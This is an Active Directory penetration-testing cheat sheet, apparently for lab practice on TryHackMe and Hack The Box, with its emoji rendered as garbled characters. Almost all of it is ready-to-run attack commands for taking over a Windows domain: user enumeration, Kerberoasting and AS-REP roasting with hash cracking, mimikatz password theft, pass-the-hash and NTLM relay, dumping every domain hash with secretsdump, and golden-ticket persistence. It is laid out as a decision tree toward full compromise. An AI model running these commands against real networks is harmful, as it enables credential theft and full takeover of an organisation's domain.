Quick Guide To AD Pentesting
๐ฅ Step-by-Step AD Pentesting Cheat Sheet
1๏ธโฃ Enumeration (Always Start Here!)
Your goal: Find Users, Computers, Groups, and AD Misconfigurations.
๐น Basic Enumeration (No Credentials) โ
nmap -p 88,135,139,389,445,464,593,636,3268,3389 --script=ldap* --script=smb* <target>
โ
smbclient -L //target -N โ Check SMB Shares
โ
crackmapexec smb <target> โ Check SMB, Users, and Shares
โ
kerbrute userenum -d domain.com --dc <DC-IP> usernames.txt โ Find Valid Users
๐น Detailed Enumeration (With Credentials) โ
bloodhound-python -u user -p pass -d domain.com -c All -dc-ip <DC-IP> โ Full AD Mapping
โ
rpcclient -U 'user%pass' <DC-IP> โ Query AD Info
โ
net group "Domain Admins" /domain โ Check Domain Admins
โ
net user /domain โ List All Users
โ
crackmapexec ldap <DC-IP> -u user -p pass --asreproast โ Check for AS-REP Roastable Accounts
๐ If You Find Null SMB Shares or Weak Users โ Move to Exploitation.
2๏ธโฃ Exploitation (Privilege Escalation & Lateral Movement)
Your goal: Escalate Privileges from a Low-Level User.
๐น Kerberoasting (If Kerberos Enabled) โ
GetUserSPNs.py -dc-ip <DC-IP> domain/user:pass -request
โ
john --wordlist=rockyou.txt hash.txt
๐น AS-REP Roasting (If User Doesnโt Require Pre-Auth) โ
GetNPUsers.py -dc-ip <DC-IP> -usersfile users.txt domain/ -format hashcat
โ
hashcat -m 18200 hash.txt rockyou.txt --force
๐น Pass-the-Hash / Pass-the-Ticket (Lateral Movement) โ
mimikatz.exe โ sekurlsa::logonpasswords โ Steal Passwords
โ
psexec.py domain/user@target -hashes LM:NT
๐น NTLM Relay Attacks (If SMB Signing is Disabled) โ
ntlmrelayx.py -t smb://target --smb2support
๐ If you get a higher-privilege account โ Use It for Full Compromise.
3๏ธโฃ Full Domain Compromise (Domain Admin Access!)
Your goal: Get Domain Admin and Dump All Passwords.
๐น Check if You Are a Domain Admin โ
whoami /groups
โ
net group "Domain Admins" /domain
๐น Dump All AD Hashes (If DA Access) โ
secretsdump.py -dc-ip <DC-IP> domain/admin:password@target
๐น Golden Ticket Attack (Persistence) โ
mimikatz.exe โ kerberos::golden /user:Administrator /domain:domain.com /sid:S-1-5-21-XXXXX /krbtgt:HASH /ptt
๐ Once You Get DA โ You Have Fully Compromised the Domain!
๐ฅ How to Know What to Use in a Lab? (Decision-Making Tree)
โ 1. Do I have credentials?
โ No โ Start with Enumeration
โ Yes โ Use BloodHound & CrackMapExec
โ 2. Can I Kerberoast / AS-REP Roast?
โ Yes โ Extract Hashes & Crack Them
โ No โ Try Lateral Movement
โ 3. Do I have SMB, LDAP, or Kerberos Misconfigurations?
โ Yes โ Exploit Using NTLM Relay, Pass-the-Hash, or Kerberos Attacks
โ No โ Look for Local Privilege Escalation on Workstations
โ 4. Do I have Domain Admin access?
โ Yes โ Dump Hashes & Maintain Access
โ No โ Pivot to Another User or Machine
๐ฅ Next Steps for You
Use this step-by-step method in any AD lab.
Start practicing each attack individually on TryHackMe (THM) & Hack The Box (HTB).
Use BloodHound to visualize attack paths (this helps a lot).
If stuck, Google specific errors & read writeups (everyone does this, even pros).
Last updated